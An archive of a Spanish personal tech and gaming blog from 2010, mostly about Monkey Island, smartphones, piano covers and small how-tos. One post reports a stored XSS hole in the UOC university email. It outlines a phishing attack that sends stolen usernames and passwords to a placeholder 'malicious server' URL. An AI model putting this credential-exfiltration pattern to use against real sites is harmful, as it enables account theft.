viernes, 31 de diciembre de 2010

Adiós 2010...

... o hasta pronto si el tiempo es cíclico.

Faltan minutos para que acabe el año, y desde www.pollodegomaconpolea.net vamos a hacer lo que llevan haciendo todo el día en las noticias: recopilar los mejores momentos de este año, pero sin salirnos de nuestro rincón.


Enero
- Nieva en Benacazón, algo que muchas generaciones no habíamos tenido oportunidad de ver.

Febrero
- Me llega directamente desde EEUU el Nexus One.

Marzo
- Llega mi nuevo Yamaha PSR S-710

Abril
- Ordenador renovado, nueva AMD Phenom II 6X funcionando...

Mayo
- El Sevilla FC se proclama campeón de la Copa de Rey 2010

Junio
- Tragedia en Benacazón, la pirotecnía Virgen de las Nieves explota llevándose la vida de varios vecinos.

Julio
- Pollodegomaconpolea.net abandona awardspace/wordpress y se pasa a blogger.

Agosto
- iPhone 4 llega a mis manos para hacerle frente al Nexus One.

Septiembre
- En un pique del trabajo, subo una versión beta de Robert Miles - Children.

Octubre
- Reservado vuelo y hotel en Londres para 2011.

Noviembre
- Pollodegomaconpolea.net da la exclusiva: Monkey Island 5 podría salir en castellano.

Diciembre
- Completo mi colección original con todas las aventuras de Monkey Island.

Me voy a preparar las uvas, ¡Feliz 2011 a tod@s!

jueves, 23 de diciembre de 2010

pollodegomaconpolea.net cumple 4 años :D

En realidad hubiese sido algo más...

Pollodegomaconpolea.net fue en un principio un proyecto Joomla alojado en awardspace.com, pero al poco tiempo me di cuenta de que me sobraban opciones y necesitaba algo más sencillo si cabía.

Así que a los pocos meses la web pasó a ser un blog basado en wordpress, perdiendo además el poco contenido que había en la web de Joomla. Así estuvo durante algunos años, con varios rediseños mínimos, hasta que la base de datos empezó a superar el límite que ofrecía awardspace de forma gratuita.

Como no tenía intención de gastar dinero, más de los 6 euros anuales que cuesta el dominio, debía de migrar a otro hosting. Por un lado estaba la opción de wordpress.com que era el sistema que había utilizado siempre y al que estaba más acostumbrado. La otra opción era blogger... y es donde finalmente la web quedará alojada hasta que Google quiebre o decida eliminar mi cuenta.

Como curiosidad, os dejo la cabecera de uno de los diseños descarcatados de hace unos años para el blog:

El diseño quedó descartado por ser demasiado oscuro...
Ahí queda eso, un saludo!

viernes, 17 de diciembre de 2010

¿Cuántos robles roeria un roedor, si los roedores royeran robles?

Este trabalenguas aparece en Monkey Island 2.
Gracias a la edición especial, que incluye voces, podemos escuchar cómo quedaría en el idioma para el que fue realmente pensado:

martes, 14 de diciembre de 2010

Configuración del dominio www.pollodegomaconpolea.net

Ayer por la noche hice un cambio en la redirección del dominio www.pollodegomaconpolea.net.
Ahora los enlaces aparecen bajo este dominio y no sobre http://pollodegomaconpolea.blogspot.com. Es un cambio mínimo pero puede ocurrir que alguna entrada o contenido no funcione correctamente (no debería).

Es sencillo, sólo tenemos que crear un registro CNAME en nuestro panel de control que nos proporciona nuestro proveedor de dominios con los valores:

Name: www
Value: ghs.google.com

También podemos crear un registro del tipo "Redirección directa" para el resto de prefijos web.
Name: *
Value: http://www.pollodegomaconpolea.net

A continuación, nos venimos a blogger, "Configuración" ==> "Publicación" ==> "Dominio Personalizado" ==> "Cambiar a opciones avanzadas".

Tu dominio: www.pollodegomaconpolea.net

Habrá que esperar una hora aproximadamente hasta que las DNS se actualicen. Mientras tanto tu sitio no será visible desde tu dominio.

miércoles, 8 de diciembre de 2010

Tributo a Monkey Island v2.0

Hace algunos años subí a mi cuenta de youtube un vídeo tributo a Monkey Island. Esta cuenta fue eliminada y el vídeo, al no tener una copia en mi disco duro, lo perdí.

He vuelto a generarlo partiendo de las mismas imágenes que utilicé en su día. El resultado no puede ser exactamente el mismo, pero al menos será muy parecido.

 

No están incluidas las ediciones especiales de las dos primeras entregas, ni Tales of Monkey Island... otro día quizás. :)

domingo, 5 de diciembre de 2010

¡Colección completa!

Ayer me llegó importado de USA la última aventura de Guybrush Threepwood en edición Deluxe. Esto quiere decir que viene en un cofre de cartón con merchandising del bueno: una moneda (he de suponer que es un doblón xD), un posavaso del Club 41, una chapa de Stan, una carta vudú (la usaré para hacer el bien), etc.




Ésta, se suma a las anteriores que ya tenía:
- SAGA Monkey Islarts: edición recopilatoria de Lucas Arts con los tres primeros episodios.
- La Fuga de Monkey Island
- Ediciones especiales de The Secret of Monkey Island y Monkey Island 2 (Steam, descarga digital).


Sólo falta que FX confirme la versión doblada y traducida al castellano para Tales of Monkey Island.

jueves, 2 de diciembre de 2010

Migrando PostgreSQL a MySQL: MySQL Migration Toolkit

Este va a ser un pequeño tutorial de cómo migrar una base de datos de PostgreSQL a MySQL usando la herramienta gratuita MySQL Migration Toolkit.

No vamos a entrar en detalles, sólo los parámetros necesarios para que la aplicación conecte correctamente y algún punto importante a tener en cuenta.

Seguimos después del salto...

Esta aplicación se incluye en el paquete de herramientas gráficas de usuario de MySQL que muchos de los que estáis leyendo ésto conoceréis. 

1.

 2.

3. Establecemos los parámetros de conexión a la base de datos de la cual queremos extraer los datos.


4. Lo mismo, con los parámetros de la base de datos destino.


5. Hay un error debido a que no se ha podido conectar con la base de datos de origen. El problema se resuelve copiando el driver JDBC de nuestra base de datos (en este caso PostgreSQL) en la carpeta MySQL Tools for 5.0/java/lib/. Cerramos y abrimos de nuevo la aplicación para que cargue el controlador.


Error obtenido: Connecting to source database and retrieve schemata names.
The list of schema names could not be retrieved (error: 0).
ReverseEngineeringGeneric.getSchemata :org.postgresql.Driver
...
6. Carpeta donde debemos copiar la librería:


7. Volvemos a ejecutar el asistente y en esta ocasión el test de conexión será satisfactorio.


8. Debemos de seleccionar el/los esquema/s a importar.


9. El asistente también nos da la posibilidad de seleccionar las tablas que deseamos importar.




Es probable que obtengamos algún error en la conversión de tipos, pero teniendo el script para generar la base de datos en MySQL que nos generará el asistente, podemos modificarlo rápidamente para corregir esos pequeños errores.

lunes, 29 de noviembre de 2010

FX Interactive podría editar Tales of Monkey Island en castellano

Tales of Monkey Island es la quinta y última aventura de Guybrush Threepwood. En esta ocasión el desarrollo ha estado en mano de Telltale Games, en lugar de Lucas Arts (la propietara de la licencia).

El juego se ha editado sólo en inglés y recientemente en alemán. Ha pasado el tiempo y los aficionados hispano hablantes lo único que tenemos es una traducción amateur, gracias a los chicos de la cueva de los clásicos.

Hace unos días contacté con FX Interactive, editora española que se ha caracterizado por traernos juegos de muy buena calidad a precios muy razonables. Y no sólo eso, si no que siempre (o quizás casi siempre, no estoy seguro) se encargan de traducirlos y doblarlos al castellano. Todo los aficionados a las aventuras conoceran títulos como Runaway, todo un éxito a nivel internacional.

Así que, ¿quién mejor que FX Interactive para editar Tales of Monkey Island en nuestro país?

La respuesta la acabo de recibir hace a penas unos segundos y no podría ser más esperanzadora para los aficionados a esta gran saga. Y aunque no creo que sea apropiado copy&pastear el correo; lo resumiré en que:

Actualmente se encuentran en negociaciones con Lucas Arts y Telltale Games, si hubiese acuerdo, tenemos Monkey Island en español.
¡Gracias FX!

EDIT
Meristation se ha hecho eco de la noticia, donde dejé un mensaje en sus foros y se ha puesto en contacto con FX para confirmar los rumores...
http://www.meristation.com/v3/des_noticia.php?id=cw4cf3f329de53e&pic=G​EN#

Adiós Goear, bienvenido Grooveshark

Goear es un servicio que muchos conoceréis, el youtube de la música español. Toda la música en streaming que queramos y gratis; no se puede pedir más o quizás sí.

Entiendo que este tipo de servicios se basen en la publicidad para pagar cánon, servidores, mantenimiento, desarrollo, etc. Pero desde que Grooveshark apareció en escena, al menos para publicar en el blog no tiene mucho sentido seguir usando Goear.

El motivo es sencillo:

¿se puede meter más publicidad?
Ya no sólo te meten publicidad a través del audio (otro de los motivos por los que prefiero Grooveshark a Spotify), si no que empezamos con los baner en flash intrusivos que tanto gustan.

Adiós goear (quizás sea hasta pronto), bienvenido Grooveshark.

domingo, 28 de noviembre de 2010

Left 4 Dead 2

Ya tengo juego para estas navidades, porque, ¿hay algo más navideño que enfrentarse a una orda de zombies en modo cooperativo?


Lo mejor de todo es el precio, hasta las 19:00 del día de hoy a 3,5€.

A parte, aprovecho para celebrar que estamos a un sólo mes de coger las vacaciones navideñas, dos semanitas de descanso... más bien de relativo descanso porque los exámenes llegan en enero...

jueves, 25 de noviembre de 2010

Error de seguridad en el correo de la UOC

El sistema de comunicación de la Universitat Oberta de Catalunya está basado en su correo interno. Casi todo se hace a través del envío de correos electrónicos: entrega de prácticas, comentarios en los foros y tablones, mensajes a compañeros y profesores, etc.

Acordándome del reciente caso del chico de Sevilla que descubrió una vulnerabilidad con la famosa red social Twitter, decidí "probar suerte" con el correo de la UOC.

Era sencillo, sólo tenía que mandarme un correo con un simple alert de javascript a mí mismo y comprobar el resultado:



El correo se manda sin ningún problema como es de esperar. Unos instantes después aparece en mi buzón el aviso de que tengo un nuevo email sin leer:


Procedemos a abrir el mensaje y ¡sorpresa!:



El resultado salta a la vista. A través del correo de la UOC podemos inyectar javascript para hacer todo lo que este lenguaje nos permite. ¿Qué se puede hacer? casi de todo. Modificar los estilos de la página web, cerrarla, redireccionarla, leer la cookie, insertar nuevos campos, sacar ventanitas.

Un ejemplo podría ser abrir una nueva ventana informando al usuario que la sesión ha caducado y que debe de introducir de nuevo sus datos. Con un keylogger registrar nombre de usuario y contraseña y mandarlos por parámetro con un simple windows.location.href tal que así: 
http://nuestro_servidor_malvado/recoge_datos.php?user=usuario&password=123456
Usando AJAX se podría disimular toda esta parafernalia, siendo casi totalmente transparente para un usuario no familiarizado con las ténicas de phishing.

lunes, 22 de noviembre de 2010

... y The Secret of Monkey Island cumple 20 años

Va la cosa de cumpleaños (voy a tener que crear una nueva categoría en el blog xD), y es que en el mes de octubre The Secret of Monkey Island cumplía la friolera de dos décadas (voy un mes tarde, lo sé, estoy demasiado ocupado).

Hubiese posteado para esta ocasión el tributo en vídeo que hice y subí a mi cuenta de youtube, pero como me la eliminaron y me tuve que hacer otra, perdí los vídeos que tenía en ésta. :_(



Jugué por primera vez en un IBM 80286 con un 1MB de RAM, 40 megas de disco duro, y una pantalla en blanco y negro de 9" de estas que todavía usan en los cajeros de El Corte Inglés. Creo que mis ojos nunca me lo perdonarán, aún así mereció la pena.

Antes sólo había jugado a Maniac Mansion y aunque sin duda es una gran aventura, el salto entre una y otra fue abismal. La libertad para moverte por varías islas, la ambientación, los personajes, la música, el humor y un largo etcétera han convertido a este juego en el referente de las aventuras clásicas.

Una auténtica joya.

viernes, 19 de noviembre de 2010

... y hoy hace 12 años...

...que Valve publicó, el que es a gusto personal (y de muchos), el principio de la mejor saga de FPS de la historia. Half-Life cambió la forma de ver los shooters, dejarón de ser simples mata-mata e introdujo nuevas y revolucionarias ideas para la época.

 

La clave del éxito reside en parte en su protagonista. Gordon Freeman no es un superhéroe, es un científico más que trabaja en las instalaciones de Black Mesa. Los acontecimientos allí ocurridos son la base de esta magnífica saga.
Felicidades, pero... ¡Queremos más!

martes, 16 de noviembre de 2010

Hoy hace 6 años.

Al mirar la fecha he sentido que algo importante pasó un 16 de Noviembre. He tardado varios segundos en recordar qué era: 16 de Noviembre de 2004; hoy hace 6 años que...

Valve publicó en PC uno de los mejores juegos de la historia:

 
Carátula de Half-Life 2

miércoles, 27 de octubre de 2010

Teorema de los infinitos monos

Muchos conoceréis el Teorema de los infinitos monos, que nos dice que si le damos a cada uno una máquina de escribir casi con total seguridad que uno de los escritos realizados será una historia de Shakespeare, la Biblia o un manual avanzado de Java. Es estadísticamente comprensible pero difícilmente abordable; todo el mundo sabe que el número de máquinas de escribir sobre la tierra ha descendido mucho en los últimos años...


Así que este problema se puede abordar con un sólo mono y mucha paciencia.

Si le damos una única máquina de escribir a un mono, y lo ponemos a trabajar durante un tiempo indefinido, podremos llegar a la misma conclusión que hemos llegado con la premisa anterior.


El tiempo que tendrémos que esperar para obtener un resultado satisfactorio es totalmende desconocido; desde una semana a años, siglos, milenios, más de la edad del universo actual, etc etc. Este es el único factor de riesgo que existe en montar una consultoría para el desarrollo de software basado en un equipo de monos, chimpances y orángutanes. Todo lo demás juega a nuestro favor: mano de obra barata (se paga con plátanos) y sin sindicatos.

miércoles, 20 de octubre de 2010

GP2X Reload! - F200

GP2X y estudiar son incompatibles
Hace años que tuve la GP2X MK-I, un poco más tarde pasó por mis manos la segunda revisión MKII con algunas mejoras (principalmente en el joystick y en la pantalla).

Después de un tiempo intentando hacer algo decente, desistí y ahora vuelve a pasar por mis manos una de estas portátiles, la última revisión: GP2X F200 (que salio al mercado hace ahora 3 años); con un cambio de color (blanquita) y pantalla táctil.

Lo mejor de todo, el precio: 20€ puesta en casa, con su cajita y nueva.

Me gustaría dedicarle tiempo y hacer algo en Fénix.Quizás dentro de unos años, ahora es imposible...

domingo, 17 de octubre de 2010

Próximo destino, Londres

Hacía tiempo que deseaba visitar la capital de las islas Malvinas Reino Unido. Todavía falta, ya que esperaré a terminar los exámenes de la UOC: la primera semana de febrero; pero por si las moscas, el vuelo y el hotel están reservados. :)

miércoles, 6 de octubre de 2010

I feel like I could...


Me acaban de llegar hoy, pero no os preocupéis, como ya ha dicho el tentáculo verde, sólo son un par de llaveros o colgantes o lo que os dé la gana.

Si os mola, tenéis toda una colección aquí, fabricadas a mano desde Sevilla. :)

lunes, 20 de septiembre de 2010

Robert Miles - Children

Este es un tema que seguro todos conoceréis, un clásico de los 90.

Suena realmente bien en piano, a pesar de pertenecer al género de la música electrónica.

De momento aún no lo tengo completo, la falta de tiempo es lo que tiene... pero me hacía ilusión subir esta primera parte.

domingo, 12 de septiembre de 2010

Fotografía HDR (Segundo asalto)

Hace tiempo que hice las primeras pruebas con fotografía HDR y la verdad es que el resultado no fue nada satisfactorio.

Después de casi 2 años he vuelto a probar:
Una primera imagen que ilumine el primer plano

Otra que recoja la luz correcta de fondo...

... y el resultado!!!

Otro intento:

Primer plano iluminado...

Recogemos los detalles del cielo...

... unimos y tachán!!

Material utilizado:
- Cámara: iPhone 4
- Software: True HDR.

En el tercer asalto intentaremos hacer algo más profesional. :)


lunes, 30 de agosto de 2010

[Review] Funda para iPhone 4: Sena Case Ultra Slim

Según Apple, el iPhone 4 está protegido por un material a prueba de rozaduras, pero como eso es algo dificil de creer, estuve buscando una funda que le sentara bien a mi nuevo cacharrito.

Llevamos menos de un mes con el teléfono en el mercado, y todavía muchos vendendores intentan colarnos como fundas para el iPhone 4 fundas que han sido realmente pensadas para iPhone 3GS y anteriores.


* Pincha a continuación en "Más información" para leer el artículo completo.

jueves, 19 de agosto de 2010

Comptine D'un Autre Été: L'après Midi (versión completa)

Es la tercera vez que subo esta canción y la primera que la subo completa.



Teclado: Yamaha PSR S710
Voz: Harp

jueves, 12 de agosto de 2010

Nexus One VS iPhone 4 - Round 1

FIGHT!

Hace unos meses os presentaba mi Nexus One importado de USA. Hoy he recibido desde Orange el nuevo y polémico iPhone 4 de Apple.

No es mi idea darles de comer a dos criaturas como éstas, así que la mejor manera de elegir con cual me quedo es enfrentarlos en un combate a muerte. El vencedor se queda, el perdedor se va.

Dividiré la review en dos partes, esta primera analizaremos el hardware de ambos teléfonos: pantalla, altavoz, materiales, cámara, etc. La segunda parte será un versus de sus sistemas operativos, aplicaciones, etc.

Empecemos pues:

0. Presentación
El iPhone 4 se presenta en una caja muy pequeña, yo diría que es la más pequeñas de cuantos teléfonos han pasado por mi mano. En su interior nos encontramos los clásicos manuales, cargador de corriente, cable usb, auriculares, un ganchito metálico para abrir la ranura de la tarjeta micro SIM y dos pegatinas de la manzana de apple.

La caja del Nexus One es más grande. Incluye a parte del teléfono auriculares, cargador, cable usb, manuales y funda de tela con el logo de android.

Sólo por el detalle de la funda se lleva el punto el Nexus, ya que en lo demás vienen igual de equipados. Aunque, debido al culebron de AntennaGate Apple nos regala una funda de silicona o metacrilato a elegir de una lista.

1. Dimensiones y peso
Nexus One: 119 x 59,8 x 11,5 milímetros y 130 gramos de peso.
iPhone 4: 115,2 x 58,6 x 9,3 milímetros y 137 gramos de peso.

Los números hablan por sí sólos. Son 2 smartphones practicamente iguales tanto en tamaño y peso. Un poco más fino el iPhone y levemente más pesado.

** Los plásticos que sobresalen del Nexus One son simplente un protector que se está empezando a despegar.

Para desplazarte al trabajo, salir por la tarde o tomar unas copas por la noche, esos 7 gramos extras no se notan xD. Tampoco el "tamaño extra" del Nexus, ambos son 2 smartphones de tamaño medio. Nada que añadir a este punto.


2. Tacto y material
El teléfono de Google está protegido por una carcasa de goma de muy buen tacto, muy suave y todo perfectamente encajado.

El iPhone sin embargo apuesta por bordes de metal y carcasa de metacrilato (o algo muy parecido).

Son tactos muy distintos y ambos dan sensación de terminales de gama alta.

Por tanto, no me atrevo a dar un veredicto. Creo que es cuestión de gustos.

3. Pantalla
Pasamos a un apartado donde Apple ha sido la referencia desde que sacó su primer iPhone. Pero pasemos primero a los números:

- Nexus One: AMOLED de 3.7" y una resolución de 800 x 480.
- iPhone 4: Display Retina de 3.5" y una resolución de 960 x 640.

No vamos a entrar en detalles, pero en este punto gana iPhone 4 por goleada. Salvo en tamaño, en todo lo demás es superior la nueva Display Retina (vaya nombre feo por cierto).

A simple vista es imposible distinguir los pixeles. Da la sensación que lo que vemos en pantalla es una fotografía.

Un punto que no me había quedado muy claro leyendo algunas reviews era cómo se comportaba de cara al sol. No sabría decir si bien o muy bien, pero mejor que la AMOLED, bastante mejor. (ambas con brillo automático).

La pantalla de Apple es muy cómoda a la vista, no tiene ese brillo y saturación de las AMOLED/Super AMOLED; que sí, son muy impresionantes, pero personalmente me quedo con la naturalidad de la Display Retina.

Otro tema que concierne a la pantalla es la sensibilidad. Y aquí Apple lo tenía "fácil" con N1 ya que el teléfono de Google deja mucho que desear; no por su respuesta, que no es mala (tampoco sobresaliente); pero el fallo del multitouch es imperdonable.

iPhone 4 va perfecto en este sentido, no puedo decir si mejora respecto al 3GS, ya que es mi primer iPhone, pero sin duda, está un paso por encima (o dos) de Nexus One.

4. Sonido
El altavoz externo era un punto que me había desilusionado un poco en el terminal de Google. No se porta mal, pero claro, nada que ver con los XpressMusic de Nokia ni su serie N.

Posición de los altavoces en Nexus One y iPhone 4

Esperaba que iPhone 4 me ofreciera un salto importante en este aspecto, pero no. En cuanto a decibelios, nos quedamos igual. En cuanto a calidad, sí, el del iphone suena algo mejor, más claro, con menos agudos; pero tampoco es una maravilla.

Ambos terminales cuentan con un micrófono exclusivo para la cancelación de ruido; algo que no he podido saber si sirve de mucho ya que no es un extra que disfrutemos los poseedores de estos terminales, si no, quienes reciben la llamada.

Respecto al auricular para las llamadas, he comparado a ambos durante una llamada al servicio de atención al cliente de Orange (que suele tener un volumen algo bajo y una calidad mediocre) y los dos se oyen perfectamente. También es cierto que estoy en absoluto silencio.

5. Cámara
La fabricación de Nexus One ha estado en manos de HTC, compañía que nunca ha destacado por la calidad de las lentes de las cámaras de sus teléfonos... lo mismo que Apple.

Ambos teléfonos cuentan con una lente capaz de capturar imágenes de hasta 5mpx.
Grabación de vídeo de hasta 720x480 en caso del Nexus One y 1280x720 (HD Ready) en caso del iPhone.

Ambos teléfonos cuentan con flash LED integrado, siendo el del Nexus ligeramente más potente.

Me ha parecido interesante, adjuntar las mismas fotos tomadas con mi cámara semi automática Panasonic Lumix FZ18.

Echemos un vistazo a las fotografías que he tomado en distintas condiciones:

** Casi sin luz y con flash
Nexus One


iPhone 4


Panasonic Lumix FZ18

Veredicto: Nexus muestra tonos colores apagados pero con colores más parecidos a la realidad. iPhone muestra una foto más clara pero distorsiona el tono de los colores


** Modo macro

Nexus One


iPhone 4


Panasonic Lumix FZ18


Veredicto: iPhone muestra mayor detalle y unos colores más intensos (más de la cuenta). Al Nexus le falla un pelín el enfoque y los colores más bien apagados.


- Fotografía con mucha luz
Nexus One


iPhone 4


Panasonic Lumix FZ18

Veredicto: al iPhone se le queman algunas zonas, sin embargo colores como los verdes se ven más vivos y reales. Al Nexus no se le quema la foto, por contra muestra unos colores más apagados.

- Fotografía con nubes y sol

Nexus One



iPhone 4


Panasonic Lumix FZ18 (Esta foto se realizó más tarde)

Veredicto: Nexus One vuelve a mostrarno cierta tendencia a oscurecerlo todo un poco con un tono grisaceo. iPhone hace todo lo contrario, parece realzar levemente todos los rangos como si de fotografía HDR se tratase.

** Veredicto Final de Fotografía
Ninguna de las dos lentes son la panacea, pero nos puede sacar de un apuro.
Nexus One tiene a oscurecer las fotos y iPhone todo lo contrario. Uno se queda corto y el otro se pasa. En el caso del iPhone quizás sea culpa de su sensor retroiluminado.
Me gusta algo más la del iPhone que parece mostrar más nitidez y es más rápido enfocando y disparando; sin embargo, ninguna sustituye a una cámara de fotos real.

**Video Nexus One en 720p


**Video iPhone 4 en 720p


** Veredicto Final de Vídeo
Nexus no graba a 720p de forma nativa, pero han ido apareciendo algunas ROM de famosos cocineros que ya permiten hacerlo. De momento el framerate no es muy estable y con movimientos rápidos la imagen se pixela.
iPhone no tiene problemas para mantener 30fps en alta definición, con lo cual tenemos un claro ganador en este aspecto.

6. Conectividad, cobertura y batería

Vayamos por parte, empezemos con el tema de conectividad.

Ambos teléfonos tienen bluetooth 2.0, capados para el envio o recepción de ficheros. Supongo que con jailbreak en iPhone o root en Nexus se le puede sacar más partido en este aspecto. Pero en ninguno de los dos casos es una carácterísitica que traiga de la casa.

También incorporan wifi y A-GPS.

En el caso del iPhone 4 no he tenido aún oportunidad de comprobar que tal se comporta el GPS; lo que sí puedo decir es que en Nexus One es una maravilla. En menos de un minuto se posiciona y la navegación por Navigation de Google es realmente precisa.

Por último, en cuanto al tema de la conectividad, iPhone 4 incorpora su clásico conector ancho de iPod y Nexus un micro-usb estándar.

Pasamos al peliagudo tema de la cobertura.

En estos 6 meses de N1 no he tenido ni un sólo problema de cobertura, he cogido el móvil como me ha dado la gana y nunca he perdido al 100% la señal.
Mucho se ha hablado en las últimas semanas del problema de la antena de iPhone 4, el caso anntenagate. Muchos dicen que ese problema no existe, otros que se ha exagerado, otros se quejan por la mala calidad de la recepción del terminal... ¿Entonces en qué quedamos?

Os puedo decir, que en efecto, existe el problema de la cobertura, y si me descuido pierdo completamente la señal del teléfono. Mi iPhone es de la semana del 30 y como ya he dicho, viene de Orange España. ¿Es grave?
Considero que sí, pero como todo en la vida, hay soluciones.

Apple no actuó de forma muy correcta en un principio y echó la culpa a los usuarios, diciendo que esa no era la forma correcta de coger el teléfono, posteriormente se dedicó a hacer vídeos de otros terminales de la competencia perdiendo la señal, etc etc.

Lo último ha sido regalar los famosos bumpers o fundas para evitar que con la mano hagamos puente entre las dos chapitas y así perdamos señal. Una chapuza con todas las letras...

Habrá a quien le parezca algo inadmisible, habrá quien le reste importancia, el caso es que el problema es real; aunque afecta a algunos terminales más que a otros.

Por último, la batería.

Nexus One: 1400mAh - 290h en espera - 10h en conversación
iPhone 4: 1420mAh - 300h - 14h en conversacion
**Ambos casos para modo 2G

Lo cierto es que, a pesar de que a estas alturas de la review sólo llevo 2 días con el teléfono de Apple, tiene toda la pinta de que en este punto sale ganador iPhone. Nexus One un día y gracias, iPhone 4 van dos días y va a llegar al tercero con un uso normal/alto: algunas llamadas, modo 3G, lectura del correo, algo de navegación, alguna vez activo wifi....

** Todas las fotos han sido realizadas para www.pollodegomaconpolea.net

viernes, 30 de julio de 2010

Usar pollo de goma con polea en blogger

Este cambio de apariencia en el blog no es sólo un cambio estético.

Debido a los continuos errores que tenía en www.awardspace.com he decidido migrar todo a un servidor gratuito y sin problemas de tamaño de BDD, ancho de banda, etc.

Al final me he decidido por blogger. Durante los próximos días quizás vaya cambiando algo, pero bueno... qué más da si esto no lo va a leer nadie, ¿o quizás sí?

Lo realmente importante es que a partir de hoy estoy de ¡¡VACACIOOONEESSS!!

Midnight Express (theme) en Yamaha PSR S710

Este es uno de los temas principales de la película "El expreso de medianoche" (peliculón por cierto).

Es una versión "recortada", no aparecen todos los acordes, ya que me encuentro actualmente aprendiéndola en piano y todavía me falta...



Meterle rock de fondo y usar la guitarra eléctrica ha sido un pequeño experimento; eso sí, el rasgueo de guitarra muy mejorable... :)

Solución al problema de desconexiones con router Xavi 7968

Hace unas semanas, el servicio técnico de Telefónica vino a cambiarme mi viejo router Zyxel 660HW (D.E.P.).

Me instalaron uno muy parecido exteriormente, pero que a la semana de tenerlo ha empezado a fallar. La marca y el modelo lo tenéis en el titulo de esta entrada.

No hablan precisamente maravillas de esta marca, comentarios como "lanzarlo por la ventana sin darle a ningún vecino es la mejor solución a los problemas que da este router", dice mucho sobre la confianza que tengo depositada en él.

El caso es que no está la economía para comprar un buen router; no, al menos que sea estrictamente necesario. Y por eso siempre hay que buscar soluciones.

La primera ha sido la instalación del último firmware. Aquí os lo dejo:

- Firmware Xavi 7968 Version APF81 (31 de Marzo)

Muchas promesas de solucionar cuelgues, desconexiones y demás. La verdad es que no ha servido de nada... seguíamos perdiendo la conexión cada 30 minutos.

Por fin creo que he dado con el problema (llevamos un par de horas funcionando, toquemos madera). Y es que el aparatito en cuestión se calienta de mala manera, puede ser que venga por ahí el problema. Y la solución a la espera de tener tiempo y ganas de currarme un mod con ventilador integrado es esta:


(El ventilador está girando aunque no lo parezca)

sábado, 10 de julio de 2010

UOC, allá vamos!!


Fue hace 10 años cuando empecé la carrera de Ingeniería Técnica Informática de Gestión (cómo pasa el tiempo) y a día de hoy sin haberla terminado llevo unos añitos trabajando en el sector.

Es hora de retomar los estudios antes de que Bolonia termine para siempre con las ingeniería técnicas... después ya se verá...

:D